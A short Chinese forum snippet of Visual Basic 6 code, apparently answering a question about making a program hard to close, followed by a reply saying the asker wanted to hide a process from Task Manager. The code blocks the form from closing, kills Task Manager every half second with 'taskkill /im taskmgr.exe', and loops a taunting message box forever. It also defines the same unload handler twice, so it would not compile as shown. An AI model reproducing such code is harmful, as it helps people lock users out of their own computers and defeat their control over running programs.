加个一个TIMER控件
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Print "恭喜你中彩啦 , 看你怎么关闭 哈哈"
Cancel = 10
End Sub
Private Sub Timer1_Timer()
Shell "taskkill /im taskmgr.exe"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
do
msgbox "恭喜你中彩啦 , 看你怎么关闭 哈哈"
loop
End Sub
楼主要的是隐藏在任务管理器中进程的方法吧!